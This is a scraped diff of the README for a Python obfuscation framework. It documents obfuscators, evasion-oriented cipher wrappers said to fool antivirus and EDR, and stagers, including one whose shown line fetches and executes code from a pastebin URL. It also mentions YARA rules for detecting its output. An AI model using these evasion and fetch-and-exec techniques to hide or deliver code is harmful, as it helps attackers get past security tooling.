docker run --rm ghcr.io/deoktr/python-obfuscation-framework:latest --help
|
|
247
252
|
```
|
|
248
253
|
|
|
249
254
|
Run inside Docker from a local file `in.py`:
|
|
250
255
|
|
|
251
256
|
```bash
|
|
252
|
-
docker run --rm -v $(pwd):/tmp -w /tmp ghcr.io/deoktr/
|
|
257
|
+
docker run --rm -v $(pwd):/tmp -w /tmp ghcr.io/deoktr/python-obfuscation-framework:latest in.py -o out.py
|
|
253
258
|
```
|
|
254
259
|
|
|
255
260
|
Or pipe input and output:
|
|
256
261
|
|
|
257
262
|
```bash
|
|
258
|
-
cat in.py | docker run --rm -i ghcr.io/deoktr/
|
|
263
|
+
cat in.py | docker run --rm -i ghcr.io/deoktr/python-obfuscation-framework:latest > out.py
|
|
259
264
|
```
|
|
260
265
|
|
|
261
266
|
## Usage
|
|
@@ -291,13 +296,15 @@ pof in.py -f obfuscator -k BuiltinsObfuscator |\
|
|
|
291
296
|
pof -f stager -k PasteRsStager > out.py
|
|
292
297
|
```
|
|
293
298
|
|
|
294
|
-
You can also use the Python API directly, you can find examples or see API usage
|
|
299
|
+
You can also use the Python API directly, you can find examples or see API usage
|
|
300
|
+
bellow.
|
|
295
301
|
|
|
296
302
|
## Examples
|
|
297
303
|
|
|
298
304
|
These are examples of obfuscators of the script `print('Hello, world')`.
|
|
299
305
|
|
|
300
|
-
To select an obfuscator use the flag `-f obfuscator` and
|
|
306
|
+
To select an obfuscator use the flag `-f obfuscator` and
|
|
307
|
+
`-k ObfuscatorClassName`.
|
|
301
308
|
|
|
302
309
|
To reproduce the examples you can use the following command:
|
|
303
310
|
|
|
@@ -354,14 +361,19 @@ if __name__ == '__main__':
|
|
|
354
361
|
`DefinitionsObfuscator` obfuscate function names.
|
|
355
362
|
|
|
356
363
|
> [!WARNING]
|
|
357
|
-
> `NamesObfuscator` obfuscator is renaming variables, classes, functions, and
|
|
364
|
+
> `NamesObfuscator` obfuscator is renaming variables, classes, functions, and
|
|
365
|
+
> imports. Right now this obfuscator can fail under very specific circumstances,
|
|
366
|
+
> see `pof/obfuscator/names.py`. There is an alternative implementation at
|
|
367
|
+
> `NamesRopeObfuscator` that uses `rope`, it's a work in progress and currently
|
|
368
|
+
> does not obfuscate variables declared inside functions.
|
|
358
369
|
|
|
359
370
|
Other very basic obfuscation functions are done by specific obfuscators like:
|
|
360
371
|
|
|
361
372
|
- Removing comments with `CommentsObfuscator`.
|
|
362
373
|
- Replacing exception messages with `ExceptionObfuscator`.
|
|
363
374
|
- Reducing indentation to a single space with `IndentsObfuscator`.
|
|
364
|
-
- Replace log messages with `LoggingObfuscator` or remove them with
|
|
375
|
+
- Replace log messages with `LoggingObfuscator` or remove them with
|
|
376
|
+
`LoggingRemoveObfuscator`.
|
|
365
377
|
- Remove empty lines with `NewlineObfuscator`.
|
|
366
378
|
- Remove print statements with `PrintObfuscator`.
|
|
367
379
|
|
|
@@ -416,6 +428,30 @@ print(len('bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb'))
|
|
|
416
428
|
print((True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True))
|
|
417
429
|
```
|
|
418
430
|
|
|
431
|
+
#### BooleanObfuscator
|
|
432
|
+
|
|
433
|
+
Source: `print(True)`
|
|
434
|
+
|
|
435
|
+
```python
|
|
436
|
+
# not False
|
|
437
|
+
print(not False)
|
|
438
|
+
|
|
439
|
+
# all([])
|
|
440
|
+
print(all([]))
|
|
441
|
+
|
|
442
|
+
# any([True])
|
|
443
|
+
print(any([True]))
|
|
444
|
+
|
|
445
|
+
# not not True
|
|
446
|
+
print(not not True)
|
|
447
|
+
|
|
448
|
+
# '' in ''
|
|
449
|
+
print('' in '')
|
|
450
|
+
|
|
451
|
+
# bool(1)
|
|
452
|
+
print(bool(1))
|
|
453
|
+
```
|
|
454
|
+
|
|
419
455
|
#### ConstantsObfuscator
|
|
420
456
|
|
|
421
457
|
Move every variable at the top of the file with random names.
|
|
@@ -491,16 +527,14 @@ __builtins__.__dict__.__getitem__('print')('Hello, world')
|
|
|
491
527
|
|
|
492
528
|
#### ExtractVariablesObfuscator
|
|
493
529
|
|
|
494
|
-
Extract variables in the same context level, meaning if inside a function will
|
|
530
|
+
Extract variables in the same context level, meaning if inside a function will
|
|
531
|
+
add the variable at the beginning of it.
|
|
495
532
|
|
|
496
533
|
```python
|
|
497
534
|
var='Hello, world'
|
|
498
535
|
print(var)
|
|
499
536
|
```
|
|
500
537
|
|
|
501
|
-
> [!WARNING]
|
|
502
|
-
> Right now this function is broken and can fail.
|
|
503
|
-
|
|
504
538
|
#### CallObfuscator
|
|
505
539
|
|
|
506
540
|
```python
|
|
@@ -547,6 +581,10 @@ if __name__=="__main__":
|
|
|
547
581
|
print("This script is designed for Linux systems.")
|
|
548
582
|
```
|
|
549
583
|
|
|
584
|
+
> [!NOTE]
|
|
585
|
+
> This combines perfectly with a string obfuscator, since the function call
|
|
586
|
+
> becomes ones, it's easy to obfuscate.
|
|
587
|
+
|
|
550
588
|
#### ShiftObfuscator
|
|
551
589
|
|
|
552
590
|
```python
|
|
@@ -593,7 +631,11 @@ exec(wsdecode("
|
|
|
593
631
|
|
|
594
632
|
#### RC4Obfuscator
|
|
595
633
|
|
|
596
|
-
|
|
634
|
+
> [!WARNING]
|
|
635
|
+
> The RC4 obfuscator (and other cipher obfuscators) will combine both, the
|
|
636
|
+
> cipher text and the key in the same file, this is obviously not secure, and
|
|
637
|
+
> should never be used for security purposes. The idea behind this obfuscator is
|
|
638
|
+
> to fool humans, AV, EDR, network TAP etc. not to be secured and safe.
|
|
597
639
|
|
|
598
640
|
```python
|
|
599
641
|
import codecs
|
|
@@ -650,7 +692,44 @@ exec(decrypt( b'RkNfWkAcHnxTXVpbGBROW0RdUhMdPg==', b'61644494').decode())
|
|
|
650
692
|
```
|
|
651
693
|
|
|
652
694
|
> [!WARNING]
|
|
653
|
-
> Like for the RC4 cipher the XOR obfuscator shouldn't be used for security
|
|
695
|
+
> Like for the RC4 cipher the XOR obfuscator shouldn't be used for security
|
|
696
|
+
> purposes, its main goal is to evade common security tools, not protect the
|
|
697
|
+
> information! Plus the XOR cipher is really weak and easy to crack.
|
|
698
|
+
|
|
699
|
+
#### DeepEncryptionObfuscator
|
|
700
|
+
|
|
701
|
+
Encrypt each function's source code using base64 encoding. The function body is
|
|
702
|
+
replaced with a `exec(b64decode(...))` call that decrypts and executes the
|
|
703
|
+
original code at runtime. This prevents the entire source code from being
|
|
704
|
+
accessible at once in memory.
|
|
705
|
+
|
|
706
|
+
Source in `examples/source.py`.
|
|
707
|
+
|
|
708
|
+
```python
|
|
709
|
+
from base64 import b64decode
|
|
710
|
+
import os
|
|
711
|
+
|
|
712
|
+
def get_linux_release_info():
|
|
713
|
+
r_dict=globals().copy()
|
|
714
|
+
r_dict.update(locals())
|
|
715
|
+
exec(b64decode( b'IiIiR2V0IExpbnV4IHJlbGVhc2UgaW5mbyBmcm9tIC9ldGMvb3MtcmVsZWFzZS4iIiIKCiMgQ2hlY2sgaWYgdGhlIGZpbGUgZXhpc3RzCnJlbGVhc2VfZmlsZSA9Ii9ldGMvb3MtcmVsZWFzZSIKCmlmIG5vdCBvcyAucGF0aCAuZXhpc3RzIChyZWxlYXNlX2ZpbGUgKToKICAgIHByaW50ICgiT1MgcmVsZWFzZSBmaWxlIG5vdCBmb3VuZC4gVGhpcyBtaWdodCBub3QgYmUgYSBMaW51eCBzeXN0ZW0uIikKICAgIHIgPU5vbmUgCgogICAgIyBEaWN0aW9uYXJ5IHRvIHN0b3JlIHJlbGVhc2UgaW5mb3JtYXRpb24KcmVsZWFzZV9pbmZvID17fQoKdHJ5IDoKIyBSZWFkIGFuZCBwYXJzZSB0aGUgZmlsZQogICAgd2l0aCBvcGVuIChyZWxlYXNlX2ZpbGUgLCJyIilhcyBmIDoKICAgICAgICBmb3IgbGluZSBpbiBmIDoKICAgICAgICAgICAgaWYgbm90IGxpbmUgb3IgIj0ibm90IGluIGxpbmUgOgogICAgICAgICAgICAgICAgY29udGludWUgCgogICAgICAgICAgICAgICAgIyBTcGxpdCBrZXkgYW5kIHZhbHVlCiAgICAgICAgICAgIGtleSAsdmFsdWUgPWxpbmUgLnN0cmlwICgpLnNwbGl0ICgiPSIsMSApCgogICAgICAgICAgICAjIFJlbW92ZSBxdW90ZXMgZnJvbSB2YWx1ZQogICAgICAgICAgICB2YWx1ZSA9dmFsdWUgLnN0cmlwICgiXCInXG4iKQoKICAgICAgICAgICAgIyBTdG9yZSBpbiBkaWN0aW9uYXJ5CiAgICAgICAgICAgIHJlbGVhc2VfaW5mbyBba2V5IF09dmFsdWUgCgogICAgICAgICAgICAjIFByaW50IGtleSByZWxlYXNlIGluZm9ybWF0aW9uCiAgICBwcmludCAoIlxuTGludXggUmVsZWFzZSBJbmZvcm1hdGlvbjoiKQogICAgcHJpbnQgKGYiRGlzdHJpYnV0aW9uOiB7cmVsZWFzZV9pbmZvIC5nZXQgKCdOQU1FJywnVW5rbm93bicpfSIpCiAgICBwcmludCAoZiJWZXJzaW9uOiB7cmVsZWFzZV9pbmZvIC5nZXQgKCdWRVJTSU9OJywnVW5rbm93bicpfSIpCiAgICBwcmludCAoZiJWZXJzaW9uIElEOiB7cmVsZWFzZV9pbmZvIC5nZXQgKCdWRVJTSU9OX0lEJywnVW5rbm93bicpfSIpCiAgICBwcmludCAoZiJQcmV0dHkgTmFtZToge3JlbGVhc2VfaW5mbyAuZ2V0ICgnUFJFVFRZX05BTUUnLCdVbmtub3duJyl9IikKCiAgICByID1yZWxlYXNlX2luZm8gCgpleGNlcHQgRXhjZXB0aW9uIGFzIGUgOgogICAgcHJpbnQgKGYiRXJyb3IgcmVhZGluZyByZWxlYXNlIGZpbGU6IHtlIH0iKQogICAgciA9Tm9uZSAKCgogICAgIyBNYWluIGV4ZWN1dGlvbgo='),r_dict)
|
|
716
|
+
if'r'not in r_dict:
|
|
717
|
+
return None
|
|
718
|
+
r_val=r_dict['r']
|
|
719
|
+
del r_dict
|
|
720
|
+
return r_val
|
|
721
|
+
|
|
722
|
+
if __name__=="__main__":
|
|
723
|
+
if os.name=="posix"and os.path.exists("/etc/os-release"):
|
|
724
|
+
release_details=get_linux_release_info()
|
|
725
|
+
else:
|
|
726
|
+
print("This script is designed for Linux systems.")
|
|
727
|
+
```
|
|
728
|
+
|
|
729
|
+
> [!NOTE]
|
|
730
|
+
> Functions containing `yield` or `super` are skipped and left unchanged. The
|
|
731
|
+
> `return` statements inside the encrypted function body are replaced with
|
|
732
|
+
> variable assignments to support return value propagation through `exec()`.
|
|
654
733
|
|
|
655
734
|
#### Compression
|
|
656
735
|
|
|
@@ -746,7 +825,8 @@ print(oct.__doc__[8])
|
|
|
746
825
|
print("Hello, world!")
|
|
747
826
|
```
|
|
748
827
|
|
|
749
|
-
The list of comments available is inside a file, all the comments have been
|
|
828
|
+
The list of comments available is inside a file, all the comments have been
|
|
829
|
+
extracted from Python standard library.
|
|
750
830
|
|
|
751
831
|
#### AddNewlinesObfuscator
|
|
752
832
|
|
|
@@ -758,6 +838,41 @@ print("Hello, world!")
|
|
|
758
838
|
|
|
759
839
|
```
|
|
760
840
|
|
|
841
|
+
#### ControlFlowFlattenObfuscator
|
|
842
|
+
|
|
843
|
+
Classic control flow flattening.
|
|
844
|
+
|
|
845
|
+
Source:
|
|
846
|
+
|
|
847
|
+
```python
|
|
848
|
+
def greet(name):
|
|
849
|
+
msg = "Hello, "
|
|
850
|
+
msg = msg + name
|
|
851
|
+
return msg
|
|
852
|
+
```
|
|
853
|
+
|
|
854
|
+
Output:
|
|
855
|
+
|
|
856
|
+
```python
|
|
857
|
+
def greet(name):
|
|
858
|
+
_state=936
|
|
859
|
+
_ret=None
|
|
860
|
+
while _state!=435:
|
|
861
|
+
if _state==995:
|
|
862
|
+
msg=msg+name
|
|
863
|
+
_state=528
|
|
864
|
+
elif _state==936:
|
|
865
|
+
msg='Hello, '
|
|
866
|
+
_state=995
|
|
867
|
+
elif _state==528:
|
|
868
|
+
_ret=msg
|
|
869
|
+
_state=435
|
|
870
|
+
return _ret
|
|
871
|
+
```
|
|
872
|
+
|
|
873
|
+
> [!NOTE]
|
|
874
|
+
> Functions containing `yield`, `async`, or `try/except` are skipped and left unchanged.
|
|
875
|
+
|
|
761
876
|
### Stager
|
|
762
877
|
|
|
763
878
|
#### DownloadStager
|
|
@@ -807,7 +922,8 @@ exec(request.urlopen("https://pastebin.com/raw/...").read())
|
|
|
807
922
|
> echo "print('Hello, world')" | pof -f stager -k PastebinStager api_dev_key=foo
|
|
808
923
|
> ```
|
|
809
924
|
|
|
810
|
-
The `PasteRsStager` and `Cl1pNetStager` are exactly the same, but the code is
|
|
925
|
+
The `PasteRsStager` and `Cl1pNetStager` are exactly the same, but the code is
|
|
926
|
+
not uploaded to the same site. But `PasteRsStager` doesn't require an API key.
|
|
811
927
|
|
|
812
928
|
#### RC4Stager
|
|
813
929
|
|
|
@@ -876,9 +992,11 @@ def quine():
|
|
|
876
992
|
exec(b64decode(esource))
|
|
877
993
|
```
|
|
878
994
|
|
|
879
|
-
This is most likely useless, a quine is a program that output its source code,
|
|
995
|
+
This is most likely useless, a quine is a program that output its source code,
|
|
996
|
+
and you can generate a quine from your source code with this.
|
|
880
997
|
|
|
881
|
-
Your script will still execute but a new function `quine` will be available, if
|
|
998
|
+
Your script will still execute but a new function `quine` will be available, if
|
|
999
|
+
you call it you'll have access to the source.
|
|
882
1000
|
|
|
883
1001
|
Example usage:
|
|
884
1002
|
|
|
@@ -889,10 +1007,14 @@ python3 out2.py > out3.py
|
|
|
889
1007
|
diff out2.py out3.py
|
|
890
1008
|
```
|
|
891
1009
|
|
|
892
|
-
The `out2.py` and `out3.py` files are identical, they both contain the source
|
|
1010
|
+
The `out2.py` and `out3.py` files are identical, they both contain the source
|
|
1011
|
+
code, and the script `print(quine())`.
|
|
893
1012
|
|
|
894
1013
|
> [!NOTE]
|
|
895
|
-
> By default pof uses a custom `Untokenizer` that removes useless spaces
|
|
1014
|
+
> By default pof uses a custom `Untokenizer` that removes useless spaces
|
|
1015
|
+
> (`NoSpaceUntokenizer` defined in `./pof/utils/tokens.py`), so first generation
|
|
1016
|
+
> (in the example `out.py`) will not have spaces present in the subsquent
|
|
1017
|
+
> outputs.
|
|
896
1018
|
|
|
897
1019
|
### Format
|
|
898
1020
|
|
|
@@ -912,7 +1034,8 @@ print(out)
|
|
|
912
1034
|
|
|
913
1035
|
### Generators
|
|
914
1036
|
|
|
915
|
-
Generators are used to generate new names, they can be used to classes,
|
|
1037
|
+
Generators are used to generate new names, they can be used to classes,
|
|
1038
|
+
variables, functions, constants or any other.
|
|
916
1039
|
|
|
917
1040
|
`BasicGenerator.alphabet_generator`:
|
|
918
1041
|
|
|
@@ -983,7 +1106,8 @@ for _ in range(4):
|
|
|
983
1106
|
|
|
984
1107
|
### Homoglyphs
|
|
985
1108
|
|
|
986
|
-
[Homoglyphs](https://en.wikipedia.org/wiki/Homoglyph) are glyphs that have the
|
|
1109
|
+
[Homoglyphs](https://en.wikipedia.org/wiki/Homoglyph) are glyphs that have the
|
|
1110
|
+
same shape and appear identical. There is a generator to help create them.
|
|
987
1111
|
|
|
988
1112
|
Example of homoglyphs for `Hello, world!`:
|
|
989
1113
|
|
|
@@ -1016,7 +1140,8 @@ def get_homoglyphs():
|
|
|
1016
1140
|
|
|
1017
1141
|
## Python API
|
|
1018
1142
|
|
|
1019
|
-
The true power of pof is in chaining multiple different obfuscation techniques
|
|
1143
|
+
The true power of pof is in chaining multiple different obfuscation techniques
|
|
1144
|
+
easily, there is a pretty simple Python API to do so.
|
|
1020
1145
|
|
|
1021
1146
|
For example this is a snippet of the default obfuscator:
|
|
1022
1147
|
|
|
@@ -1122,17 +1247,25 @@ class ExampleObfuscator(BaseObfuscator):
|
|
|
1122
1247
|
print(ExampleObfuscator().obfuscate(open("source.py", "r").read()))
|
|
1123
1248
|
```
|
|
1124
1249
|
|
|
1125
|
-
In this example we can see that first we remove comments, logging, print
|
|
1250
|
+
In this example we can see that first we remove comments, logging, print
|
|
1251
|
+
statements, and change the content of exceptions. And then we start to obfuscate
|
|
1252
|
+
constants, names, globals, builtins, strings. Then strings and numbers multiple
|
|
1253
|
+
times, and we finally convert the tokens back to code.
|
|
1126
1254
|
|
|
1127
|
-
By chaining multiple obfuscations techniques we can create very complex and
|
|
1255
|
+
By chaining multiple obfuscations techniques we can create very complex and
|
|
1256
|
+
custom output.
|
|
1128
1257
|
|
|
1129
|
-
Pof also provide evasions methods, detailed below, they are useful for quick and
|
|
1258
|
+
Pof also provide evasions methods, detailed below, they are useful for quick and
|
|
1259
|
+
easy evasions, and can be used and customized to fit the need.
|
|
1130
1260
|
|
|
1131
|
-
For more example of how to use the pof Python API check the
|
|
1261
|
+
For more example of how to use the pof Python API check the
|
|
1262
|
+
[examples/](./examples) directory.
|
|
1132
1263
|
|
|
1133
1264
|
## Yara
|
|
1134
1265
|
|
|
1135
|
-
Yara rules can be used to detect malware, they can also be used to find
|
|
1266
|
+
Yara rules can be used to detect malware, they can also be used to find
|
|
1267
|
+
interesting strings in Python source code. To check rules against source files
|
|
1268
|
+
and/or obfuscated files run:
|
|
1136
1269
|
|
|
1137
1270
|
```bash
|
|
1138
1271
|
yara --no-warnings yara/python.yar file.py
|
|
@@ -1144,10 +1277,11 @@ Project directory structure:
|
|
|
1144
1277
|
|
|
1145
1278
|
- `pof`: contains all the pof source code.
|
|
1146
1279
|
- `pof/obfuscator`: contains obfuscators.
|
|
1147
|
-
- `pof/stager`: contains
|
|
1280
|
+
- `pof/stager`: contains stagers.
|
|
1148
1281
|
- `pof/evasion`: contains evasions.
|
|
1149
1282
|
- `pof/utils`: all shared code between stager, obfuscator and evasion.
|
|
1150
|
-
- `wip`: work in progress code that will eventually make its way inside the main
|
|
1283
|
+
- `wip`: work in progress code that will eventually make its way inside the main
|
|
1284
|
+
code base.
|
|
1151
1285
|
- `tests`: unit tests for pof.
|
|
1152
1286
|
- `scripts`: some useful scripts to develop or use pof.
|
|
1153
1287
|
- `yara`: some yara rules to detect pof obfuscated code.
|
|
@@ -1203,7 +1337,8 @@ python3 -m twine check dist/*
|
|
|
1203
1337
|
|
|
1204
1338
|
## Python 2
|
|
1205
1339
|
|
|
1206
|
-
No effort is made to support Python 2, most obfuscator, stagers, and evasion
|
|
1340
|
+
No effort is made to support Python 2, most obfuscator, stagers, and evasion
|
|
1341
|
+
should work out of the box, but they are not tested.
|
|
1207
1342
|
|
|
1208
1343
|
## Alternatives
|
|
1209
1344
|
|
|
@@ -1228,8 +1363,9 @@ Other Python obfuscation projects:
|
|
|
1228
1363
|
|
|
1229
1364
|
## TODO
|
|
1230
1365
|
|
|
1366
|
+
- Add control flow obfuscation, add dead code, opaque predicates, control flow
|
|
1367
|
+
flattening.
|
|
1231
1368
|
- Fix `NamesObfuscator`.
|
|
1232
|
-
- Fix multi line strings.
|
|
1233
1369
|
- Add option to prepend a shebang, and add ability to customize it.
|
|
1234
1370
|
|
|
1235
1371
|
## License
|